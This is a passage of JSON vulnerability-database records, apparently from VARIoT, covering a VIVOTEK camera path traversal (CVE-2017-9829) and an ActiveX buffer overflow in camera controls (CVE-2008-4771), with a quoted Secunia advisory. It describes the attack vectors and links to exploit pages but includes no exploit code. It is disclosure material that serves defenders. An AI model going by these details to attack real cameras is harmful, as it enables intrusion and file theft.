"trust": 0.6,
"value": "MEDIUM"
},
{
"author": "CNNVD",
"id": "CNNVD-201706-1060",
"trust": 0.6,
"value": "MEDIUM"
},
{
"author": "VULHUB",
"id": "VHN-118032",
"trust": 0.1,
"value": "MEDIUM"
}
]
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2017-12592"
},
{
"db": "VULHUB",
"id": "VHN-118032"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-005191"
},
{
"db": "CNNVD",
"id": "CNNVD-201706-1060"
},
{
"db": "NVD",
"id": "CVE-2017-9829"
}
]
},
"description": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/description#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "\u0027/cgi-bin/admin/downloadMedias.cgi\u0027 of the web service in most of the VIVOTEK Network Cameras is vulnerable, which allows remote attackers to read any file on the camera\u0027s Linux filesystem via a crafted HTTP request containing \"..\" sequences. This vulnerability is already verified on VIVOTEK Network Camera IB8369/FD8164/FD816BA; most others have similar firmware that may be affected. VIVOTEKNetworkCameras IB8369, FD8164 and FD816BA are all network camera products of China VIVOTEK",
"sources": [
{
"db": "NVD",
"id": "CVE-2017-9829"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-005191"
},
{
"db": "CNVD",
"id": "CNVD-2017-12592"
},
{
"db": "VULHUB",
"id": "VHN-118032"
}
],
"trust": 2.25
},
"external_ids": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/external_ids#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"db": "NVD",
"id": "CVE-2017-9829",
"trust": 3.2
},
{
"db": "JVNDB",
"id": "JVNDB-2017-005191",
"trust": 0.8
},
{
"db": "CNNVD",
"id": "CNNVD-201706-1060",
"trust": 0.7
},
{
"db": "CNVD",
"id": "CNVD-2017-12592",
"trust": 0.6
},
{
"db": "OTHER",
"id": "NONE",
"trust": 0.1
},
{
"db": "VULHUB",
"id": "VHN-118032",
"trust": 0.1
}
],
"sources": [
{
"db": "OTHER",
"id": null
},
{
"db": "CNVD",
"id": "CNVD-2017-12592"
},
{
"db": "VULHUB",
"id": "VHN-118032"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-005191"
},
{
"db": "CNNVD",
"id": "CNNVD-201706-1060"
},
{
"db": "NVD",
"id": "CVE-2017-9829"
}
]
},
"id": "VAR-201706-1010",
"iot": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": true,
"sources": [
{
"db": "OTHER",
"id": null
},
{
"db": "CNVD",
"id": "CNVD-2017-12592"
},
{
"db": "VULHUB",
"id": "VHN-118032"
}
],
"trust": 1.70625
},
"iot_taxonomy": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot_taxonomy#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"category": [
"Network device"
],
"sub_category": null,
"trust": 0.6
},
{
"category": [
"camera device"
],
"sub_category": "camera",
"trust": 0.1
}
],
"sources": [
{
"db": "OTHER",
"id": null
},
{
"db": "CNVD",
"id": "CNVD-2017-12592"
}
]
},
"last_update_date": "2025-04-20T19:37:57.469000Z",
"patch": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/patch#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"title": "VIVOTEK Network Cameras",
"trust": 0.8,
"url": "http://www.vivotek.com/network-cameras/#type-filter:path=default|resolution-filter:path=default|snv-filter:path=default|wdr-filter:path=default|lens-filter:path=default|ir-filter:path=default|environment-filter:path=default|views:view=jplist-grid-view"
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2017-005191"
}
]
},
"problemtype_data": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/problemtype_data#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"problemtype": "CWE-22",
"trust": 1.9
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-118032"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-005191"
},
{
"db": "NVD",
"id": "CVE-2017-9829"
}
]
},
"references": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/references#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"trust": 3.1,
"url": "https://blog.cal1.cn/post/an%20easy%20way%20to%20pwn%20most%20of%20the%20vivotek%20network%20cameras"
},
{
"trust": 0.8,
"url": "http://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2017-9829"
},
{
"trust": 0.8,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-9829"
},
{
"trust": 0.1,
"url": "https://ieeexplore.ieee.org/abstract/document/10769424"
}
],
"sources": [
{
"db": "OTHER",
"id": null
},
{
"db": "CNVD",
"id": "CNVD-2017-12592"
},
{
"db": "VULHUB",
"id": "VHN-118032"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-005191"
},
{
"db": "CNNVD",
"id": "CNNVD-201706-1060"
},
{
"db": "NVD",
"id": "CVE-2017-9829"
}
]
},
"sources": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#",
"data": {
"@container": "@list"
}
},
"data": [
{
"db": "OTHER",
"id": null
},
{
"db": "CNVD",
"id": "CNVD-2017-12592"
},
{
"db": "VULHUB",
"id": "VHN-118032"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-005191"
},
{
"db": "CNNVD",
"id": "CNNVD-201706-1060"
},
{
"db": "NVD",
"id": "CVE-2017-9829"
}
]
},
"sources_release_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_release_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2017-07-04T00:00:00",
"db": "CNVD",
"id": "CNVD-2017-12592"
},
{
"date": "2017-06-23T00:00:00",
"db": "VULHUB",
"id": "VHN-118032"
},
{
"date": "2017-07-20T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2017-005191"
},
{
"date": "2017-06-28T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201706-1060"
},
{
"date": "2017-06-23T22:29:00.210000",
"db": "NVD",
"id": "CVE-2017-9829"
}
]
},
"sources_update_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_update_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2017-07-04T00:00:00",
"db": "CNVD",
"id": "CNVD-2017-12592"
},
{
"date": "2017-07-05T00:00:00",
"db": "VULHUB",
"id": "VHN-118032"
},
{
"date": "2017-07-20T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2017-005191"
},
{
"date": "2017-06-28T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201706-1060"
},
{
"date": "2025-04-20T01:37:25.860000",
"db": "NVD",
"id": "CVE-2017-9829"
}
]
},
"threat_type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/threat_type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "remote",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201706-1060"
}
],
"trust": 0.6
},
"title": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/title#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "plural VIVOTEK Network Camera Product Web Service of /cgi-bin/admin/downloadMedias.cgi Vulnerable to reading arbitrary files",
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2017-005191"
}
],
"trust": 0.8
},
"type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "path traversal",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201706-1060"
}
],
"trust": 0.6
}
}
VAR-200810-0446
Vulnerability from variot - Updated: 2025-04-10 20:59Stack-based buffer overflow in VATDecoder.VatCtrl.1 ActiveX control in (1) 4xem VatCtrl Class (VATDecoder.dll 1.0.0.27 and 1.0.0.51), (2) D-Link MPEG4 SHM Audio Control (VAPGDecoder.dll 1.7.0.5), (3) Vivotek RTSP MPEG4 SP Control (RtspVapgDecoderNew.dll 2.0.0.39), and possibly other products, allows remote attackers to execute arbitrary code via a long Url property. NOTE: some of these details are obtained from third party information. Various IP Security Camera ActiveX controls are prone to a remote buffer-overflow vulnerability because the applications fail to properly bounds-check user-supplied data before copying it into insufficiently sized memory buffers. Exploiting this issue may allow remote attackers to execute arbitrary code in the context of applications that use the affected ActiveX control (typically Internet Explorer) and to compromise affected computers. Failed attempts will likely result in denial-of-service conditions. 4XEM VatCtrl Class ('VATDecoder.dll') 1.0.0.51. Vivotek RTSP MPEG4 SP Control ('RtspVapgDecoderNew.dll') 2.0.0.39. UPDATE (March 25, 2008): D-Link MPEG4 SHM Audio Control ('VAPGDecoder.dll') 1.7.0.5 identified by CLSID: A93B47FD-9BF6-4DA8-97FC-9270B9D64A6C is being actively exploited in the wild. ----------------------------------------------------------------------
A new version (0.9.0.0 - Release Candidate 1) of the free Secunia PSI has been released. The new version includes many new and advanced features, which makes it even easier to stay patched.
Download and test it today: https://psi.secunia.com/
Read more about this new version: https://psi.secunia.com/?page=changelog
TITLE: 4XEM VatDecoder VatCtrl Class ActiveX Control "Url" Property Buffer Overflow
SECUNIA ADVISORY ID: SA29146
VERIFY ADVISORY: http://secunia.com/advisories/29146/
CRITICAL: Highly critical
IMPACT: System access
WHERE:
From remote
SOFTWARE: 4XEM VatDecoder 1.x http://secunia.com/product/17836/
DESCRIPTION: rgod has discovered a vulnerability in 4XEM VatDecoder, which can be exploited by malicious people to compromise a user's system.
The vulnerability is caused due to a boundary error in the VATDecoder.VatCtrl.1 ActiveX control (VATDecoder.dll) when handling strings assigned to the "Url" property. This can be exploited to cause a stack-based buffer overflow by assigning an overly long string to the affected property.
Successful exploitation allows execution of arbitrary code.
The vulnerability is confirmed in VATDecoder.dll version 1.0.0.27 and reported in version 1.0.0.51. Other versions may also be affected.
SOLUTION: Set the kill-bit for the affected ActiveX control.
PROVIDED AND/OR DISCOVERED BY: rgod
ORIGINAL ADVISORY: http://www.milw0rm.com/exploits/5193
About: This Advisory was delivered by Secunia as a free service to help everybody keeping their systems up to date against the latest vulnerabilities.
Subscribe: http://secunia.com/secunia_security_advisories/
Definitions: (Criticality, Where etc.) http://secunia.com/about_secunia_advisories/
Please Note: Secunia recommends that you verify all advisories you receive by clicking the link. Secunia NEVER sends attached files with advisories. Secunia does not advise people to install third party patches, only use those supplied by the vendor.
Unsubscribe: Secunia Security Advisories http://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org
Show details on source website
{
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#",
"affected_products": {
"@id": "https://www.variotdbs.pl/ref/affected_products"
},
"configurations": {
"@id": "https://www.variotdbs.pl/ref/configurations"
},
"credits": {
"@id": "https://www.variotdbs.pl/ref/credits"
},
"cvss": {
"@id": "https://www.variotdbs.pl/ref/cvss/"
},
"description": {
"@id": "https://www.variotdbs.pl/ref/description/"
},
"exploit_availability": {
"@id": "https://www.variotdbs.pl/ref/exploit_availability/"
},
"external_ids": {
"@id": "https://www.variotdbs.pl/ref/external_ids/"
},
"iot": {
"@id": "https://www.variotdbs.pl/ref/iot/"
},
"iot_taxonomy": {
"@id": "https://www.variotdbs.pl/ref/iot_taxonomy/"
},
"patch": {
"@id": "https://www.variotdbs.pl/ref/patch/"
},
"problemtype_data": {
"@id": "https://www.variotdbs.pl/ref/problemtype_data/"
},
"references": {
"@id": "https://www.variotdbs.pl/ref/references/"
},
"sources": {
"@id": "https://www.variotdbs.pl/ref/sources/"
},
"sources_release_date": {
"@id": "https://www.variotdbs.pl/ref/sources_release_date/"
},
"sources_update_date": {
"@id": "https://www.variotdbs.pl/ref/sources_update_date/"
},
"threat_type": {
"@id": "https://www.variotdbs.pl/ref/threat_type/"
},
"title": {
"@id": "https://www.variotdbs.pl/ref/title/"
},
"type": {
"@id": "https://www.variotdbs.pl/ref/type/"
}
},
"@id": "https://www.variotdbs.pl/vuln/VAR-200810-0446",
"affected_products": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/affected_products#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"model": "rtsp mpeg4 sp control",
"scope": "eq",
"trust": 1.9,
"vendor": "vivotek",
"version": "2.0.0.39"
},
{
"model": "mpeg4 shm audio control",
"scope": "eq",
"trust": 1.3,
"vendor": "d link",
"version": "1.7.0.5"
},
{
"model": "vatctrl class",
"scope": "eq",
"trust": 1.3,
"vendor": "4xem",
"version": "1.0.0.51"
},
{
"model": "vatctrl class",
"scope": "eq",
"trust": 1.0,
"vendor": "4xem",
"version": "1.0.0.27"
},
{
"model": "vatctrl class",
"scope": "eq",
"trust": 0.8,
"vendor": "4xem",
"version": "vatdecoder.dll 1.0.0.51 and 1.0.0.27"
},
{
"model": "mpeg4 shm audio control",
"scope": "eq",
"trust": 0.8,
"vendor": "d link",
"version": "vapgdecoder.dll 1.7.0.5"
},
{
"model": "rtsp mpeg4 sp control",
"scope": "eq",
"trust": 0.8,
"vendor": "vivotek",
"version": "rtspvapgdecodernew.dll 2.0.0.39"
}
],
"sources": [
{
"db": "BID",
"id": "28010"
},
{
"db": "JVNDB",
"id": "JVNDB-2008-003581"
},
{
"db": "CNNVD",
"id": "CNNVD-200810-480"
},
{
"db": "NVD",
"id": "CVE-2008-4771"
}
]
},
"configurations": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/configurations#",
"children": {
"@container": "@list"
},
"cpe_match": {
"@container": "@list"
},
"data": {
"@container": "@list"
},
"nodes": {
"@container": "@list"
}
},
"data": [
{
"CVE_data_version": "4.0",
"nodes": [
{
"cpe_match": [
{
"cpe22Uri": "cpe:/a:4xem:vatctrl_class",
"vulnerable": true
},
{
"cpe22Uri": "cpe:/a:d-link:mpeg4_shm_audio_control",
"vulnerable": true
},
{
"cpe22Uri": "cpe:/a:vivotek:rtsp_mpeg4_sp_control",
"vulnerable": true
}
],
"operator": "OR"
}
]
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2008-003581"
}
]
},
"credits": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/credits#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "rgod discovered this vulnerability.",
"sources": [
{
"db": "BID",
"id": "28010"
},
{
"db": "CNNVD",
"id": "CNNVD-200810-480"
}
],
"trust": 0.9
},
"cve": "CVE-2008-4771",
"cvss": {
"@context": {
"cvssV2": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV2"
},
"cvssV3": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/"
},
"severity": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/cvss/severity#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/severity"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"cvssV2": [
{
"accessComplexity": "MEDIUM",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "nvd@nist.gov",
"availabilityImpact": "COMPLETE",
"baseScore": 9.3,
"confidentialityImpact": "COMPLETE",
"exploitabilityScore": 8.6,
"id": "CVE-2008-4771",
"impactScore": 10.0,
"integrityImpact": "COMPLETE",
"severity": "HIGH",
"trust": 1.8,
"vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C",
"version": "2.0"
},
{
"accessComplexity": "MEDIUM",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "VULHUB",
"availabilityImpact": "COMPLETE",
"baseScore": 9.3,
"confidentialityImpact": "COMPLETE",
"exploitabilityScore": 8.6,
"id": "VHN-34896",
"impactScore": 10.0,
"integrityImpact": "COMPLETE",
"severity": "HIGH",
"trust": 0.1,
"vectorString": "AV:N/AC:M/AU:N/C:C/I:C/A:C",
"version": "2.0"
}
],
"cvssV3": [],
"severity": [
{
"author": "nvd@nist.gov",
"id": "CVE-2008-4771",
"trust": 1.0,
"value": "HIGH"
},
{
"author": "NVD",
"id": "CVE-2008-4771",
"trust": 0.8,
"value": "High"
},
{
"author": "CNNVD",
"id": "CNNVD-200810-480",
"trust": 0.6,
"value": "CRITICAL"
},
{
"author": "VULHUB",
"id": "VHN-34896",
"trust": 0.1,
"value": "HIGH"
}
]
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-34896"
},
{
"db": "JVNDB",
"id": "JVNDB-2008-003581"
},
{
"db": "CNNVD",
"id": "CNNVD-200810-480"
},
{
"db": "NVD",
"id": "CVE-2008-4771"
}
]
},
"description": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/description#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "Stack-based buffer overflow in VATDecoder.VatCtrl.1 ActiveX control in (1) 4xem VatCtrl Class (VATDecoder.dll 1.0.0.27 and 1.0.0.51), (2) D-Link MPEG4 SHM Audio Control (VAPGDecoder.dll 1.7.0.5), (3) Vivotek RTSP MPEG4 SP Control (RtspVapgDecoderNew.dll 2.0.0.39), and possibly other products, allows remote attackers to execute arbitrary code via a long Url property. NOTE: some of these details are obtained from third party information. Various IP Security Camera ActiveX controls are prone to a remote buffer-overflow vulnerability because the applications fail to properly bounds-check user-supplied data before copying it into insufficiently sized memory buffers. \nExploiting this issue may allow remote attackers to execute arbitrary code in the context of applications that use the affected ActiveX control (typically Internet Explorer) and to compromise affected computers. Failed attempts will likely result in denial-of-service conditions. \n4XEM VatCtrl Class (\u0027VATDecoder.dll\u0027) 1.0.0.51. \nVivotek RTSP MPEG4 SP Control (\u0027RtspVapgDecoderNew.dll\u0027) 2.0.0.39. \nUPDATE (March 25, 2008): D-Link MPEG4 SHM Audio Control (\u0027VAPGDecoder.dll\u0027) 1.7.0.5 identified by CLSID: A93B47FD-9BF6-4DA8-97FC-9270B9D64A6C is being actively exploited in the wild. ----------------------------------------------------------------------\n\nA new version (0.9.0.0 - Release Candidate 1) of the free Secunia PSI\nhas been released. The new version includes many new and advanced\nfeatures, which makes it even easier to stay patched. \n\nDownload and test it today:\nhttps://psi.secunia.com/\n\nRead more about this new version:\nhttps://psi.secunia.com/?page=changelog\n\n----------------------------------------------------------------------\n\nTITLE:\n4XEM VatDecoder VatCtrl Class ActiveX Control \"Url\" Property Buffer\nOverflow\n\nSECUNIA ADVISORY ID:\nSA29146\n\nVERIFY ADVISORY:\nhttp://secunia.com/advisories/29146/\n\nCRITICAL:\nHighly critical\n\nIMPACT:\nSystem access\n\nWHERE:\n\u003eFrom remote\n\nSOFTWARE:\n4XEM VatDecoder 1.x\nhttp://secunia.com/product/17836/\n\nDESCRIPTION:\nrgod has discovered a vulnerability in 4XEM VatDecoder, which can be\nexploited by malicious people to compromise a user\u0027s system. \n\nThe vulnerability is caused due to a boundary error in the\nVATDecoder.VatCtrl.1 ActiveX control (VATDecoder.dll) when handling\nstrings assigned to the \"Url\" property. This can be exploited to\ncause a stack-based buffer overflow by assigning an overly long\nstring to the affected property. \n\nSuccessful exploitation allows execution of arbitrary code. \n\nThe vulnerability is confirmed in VATDecoder.dll version 1.0.0.27 and\nreported in version 1.0.0.51. Other versions may also be affected. \n\nSOLUTION:\nSet the kill-bit for the affected ActiveX control. \n\nPROVIDED AND/OR DISCOVERED BY:\nrgod\n\nORIGINAL ADVISORY:\nhttp://www.milw0rm.com/exploits/5193\n\n----------------------------------------------------------------------\n\nAbout:\nThis Advisory was delivered by Secunia as a free service to help\neverybody keeping their systems up to date against the latest\nvulnerabilities. \n\nSubscribe:\nhttp://secunia.com/secunia_security_advisories/\n\nDefinitions: (Criticality, Where etc.)\nhttp://secunia.com/about_secunia_advisories/\n\n\nPlease Note:\nSecunia recommends that you verify all advisories you receive by\nclicking the link. \nSecunia NEVER sends attached files with advisories. \nSecunia does not advise people to install third party patches, only\nuse those supplied by the vendor. \n\n----------------------------------------------------------------------\n\nUnsubscribe: Secunia Security Advisories\nhttp://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org\n\n----------------------------------------------------------------------\n\n\n",
"sources": [
{
"db": "NVD",
"id": "CVE-2008-4771"
},
{
"db": "JVNDB",
"id": "JVNDB-2008-003581"
},
{
"db": "BID",
"id": "28010"
},
{
"db": "VULHUB",
"id": "VHN-34896"
},
{
"db": "PACKETSTORM",
"id": "64100"
},
{
"db": "PACKETSTORM",
"id": "64114"
},
{
"db": "PACKETSTORM",
"id": "64103"
}
],
"trust": 2.25
},
"exploit_availability": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/exploit_availability#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"reference": "https://www.scap.org.cn/vuln/vhn-34896",
"trust": 0.1,
"type": "unknown"
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-34896"
}
]
},
"external_ids": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/external_ids#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"db": "NVD",
"id": "CVE-2008-4771",
"trust": 2.8
},
{
"db": "BID",
"id": "28010",
"trust": 2.0
},
{
"db": "EXPLOIT-DB",
"id": "5193",
"trust": 2.0
},
{
"db": "SECUNIA",
"id": "29131",
"trust": 1.9
},
{
"db": "SECUNIA",
"id": "29145",
"trust": 1.9
},
{
"db": "SECUNIA",
"id": "29146",
"trust": 1.9
},
{
"db": "OSVDB",
"id": "43007",
"trust": 1.7
},
{
"db": "OSVDB",
"id": "42378",
"trust": 1.7
},
{
"db": "VUPEN",
"id": "ADV-2008-0685",
"trust": 1.7
},
{
"db": "VUPEN",
"id": "ADV-2008-0686",
"trust": 1.7
},
{
"db": "VUPEN",
"id": "ADV-2008-0687",
"trust": 1.7
},
{
"db": "SREASON",
"id": "4517",
"trust": 1.7
},
{
"db": "JVNDB",
"id": "JVNDB-2008-003581",
"trust": 0.8
},
{
"db": "XF",
"id": "40864",
"trust": 0.6
},
{
"db": "XF",
"id": "40863",
"trust": 0.6
},
{
"db": "XF",
"id": "40867",
"trust": 0.6
},
{
"db": "XF",
"id": "4",
"trust": 0.6
},
{
"db": "MILW0RM",
"id": "5193",
"trust": 0.6
},
{
"db": "CNNVD",
"id": "CNNVD-200810-480",
"trust": 0.6
},
{
"db": "VULHUB",
"id": "VHN-34896",
"trust": 0.1
},
{
"db": "PACKETSTORM",
"id": "64100",
"trust": 0.1
},
{
"db": "PACKETSTORM",
"id": "64114",
"trust": 0.1
},
{
"db": "PACKETSTORM",
"id": "64103",
"trust": 0.1
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-34896"
},
{
"db": "BID",
"id": "28010"
},
{
"db": "JVNDB",
"id": "JVNDB-2008-003581"
},
{
"db": "PACKETSTORM",
"id": "64100"
},
{
"db": "PACKETSTORM",
"id": "64114"
},
{
"db": "PACKETSTORM",
"id": "64103"
},
{
"db": "CNNVD",
"id": "CNNVD-200810-480"
},
{
"db": "NVD",
"id": "CVE-2008-4771"
}
]
},
"id": "VAR-200810-0446",
"iot": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": true,
"sources": [
{
"db": "VULHUB",
"id": "VHN-34896"
}
],
"trust": 0.01
},
"last_update_date": "2025-04-10T20:59:22.444000Z",
"patch": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/patch#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"title": "Top Page",
"trust": 0.8,
"url": "http://www.4xem.com/"
},
{
"title": "Top Page",
"trust": 0.8,
"url": "http://www.dlink.com/"
},
{
"title": "Top Page",
"trust": 0.8,
"url": "http://www.vivotek.com/"
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2008-003581"
}
]
},
"problemtype_data": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/problemtype_data#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"problemtype": "CWE-119",
"trust": 1.9
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-34896"
},
{
"db": "JVNDB",
"id": "JVNDB-2008-003581"
},
{
"db": "NVD",
"id": "CVE-2008-4771"
}
]
},
"references": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/references#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"trust": 1.7,
"url": "http://www.securityfocus.com/bid/28010"
},
{
"trust": 1.7,
"url": "http://osvdb.org/42378"
},
{
"trust": 1.7,
"url": "http://osvdb.org/43007"
},
{
"trust": 1.7,
"url": "http://secunia.com/advisories/29131"
},
{
"trust": 1.7,
"url": "http://secunia.com/advisories/29145"
},
{
"trust": 1.7,
"url": "http://secunia.com/advisories/29146"
},
{
"trust": 1.7,
"url": "http://securityreason.com/securityalert/4517"
},
{
"trust": 1.1,
"url": "https://www.exploit-db.com/exploits/5193"
},
{
"trust": 1.1,
"url": "http://www.vupen.com/english/advisories/2008/0685/references"
},
{
"trust": 1.1,
"url": "http://www.vupen.com/english/advisories/2008/0686/references"
},
{
"trust": 1.1,
"url": "http://www.vupen.com/english/advisories/2008/0687/references"
},
{
"trust": 1.1,
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/40864"
},
{
"trust": 1.1,
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/40863"
},
{
"trust": 1.1,
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/40867"
},
{
"trust": 0.9,
"url": "http://www.milw0rm.com/exploits/5193"
},
{
"trust": 0.8,
"url": "http://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2008-4771"
},
{
"trust": 0.8,
"url": "http://web.nvd.nist.gov/view/vuln/detail?vulnid=cve-2008-4771"
},
{
"trust": 0.6,
"url": "http://xforce.iss.net/xforce/xfdb/40867"
},
{
"trust": 0.6,
"url": "http://xforce.iss.net/xforce/xfdb/40864"
},
{
"trust": 0.6,
"url": "http://xforce.iss.net/xforce/xfdb/40863"
},
{
"trust": 0.6,
"url": "http://www.frsirt.com/english/advisories/2008/0687/references"
},
{
"trust": 0.6,
"url": "http://www.frsirt.com/english/advisories/2008/0686/references"
},
{
"trust": 0.6,
"url": "http://www.frsirt.com/english/advisories/2008/0685/references"
},
{
"trust": 0.3,
"url": "http://www.4xem.com/"
},
{
"trust": 0.3,
"url": "http://www.dlink.com/products/livedemo/"
},
{
"trust": 0.3,
"url": "http://support.microsoft.com/kb/240797"
},
{
"trust": 0.3,
"url": "http://ebdemo.8800.org:17151"
},
{
"trust": 0.3,
"url": "http://secunia.com/secunia_security_advisories/"
},
{
"trust": 0.3,
"url": "https://psi.secunia.com/?page=changelog"
},
{
"trust": 0.3,
"url": "https://psi.secunia.com/"
},
{
"trust": 0.3,
"url": "http://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org"
},
{
"trust": 0.3,
"url": "http://secunia.com/about_secunia_advisories/"
},
{
"trust": 0.1,
"url": "http://secunia.com/advisories/29146/"
},
{
"trust": 0.1,
"url": "http://secunia.com/product/17836/"
},
{
"trust": 0.1,
"url": "http://secunia.com/advisories/29131/"
},
{
"trust": 0.1,
"url": "http://secunia.com/product/17835/"
},
{
"trust": 0.1,
"url": "http://secunia.com/product/17837/"
},
{
"trust": 0.1,
"url": "http://secunia.com/advisories/29145/"
},
{
"trust": 0.1,
"url": "http://secunia.com/product/17250/"
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-34896"
},
{
"db": "BID",
"id": "28010"
},
{
"db": "JVNDB",
"id": "JVNDB-2008-003581"
},
{
"db": "PACKETSTORM",
"id": "64100"
},
{
"db": "PACKETSTORM",
"id": "64114"
},
{
"db": "PACKETSTORM",
"id": "64103"
},
{
"db": "CNNVD",
"id": "CNNVD-200810-480"
},
{
"db": "NVD",
"id": "CVE-2008-4771"
}
]
},
"sources": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#",
"data": {
"@container": "@list"
}
},
"data": [
{
"db": "VULHUB",
"id": "VHN-34896"
},
{
"db": "BID",
"id": "28010"
},
{
"db": "JVNDB",
"id": "JVNDB-2008-003581"
},
{
"db": "PACKETSTORM",
"id": "64100"
},
{
"db": "PACKETSTORM",
"id": "64114"
},
{
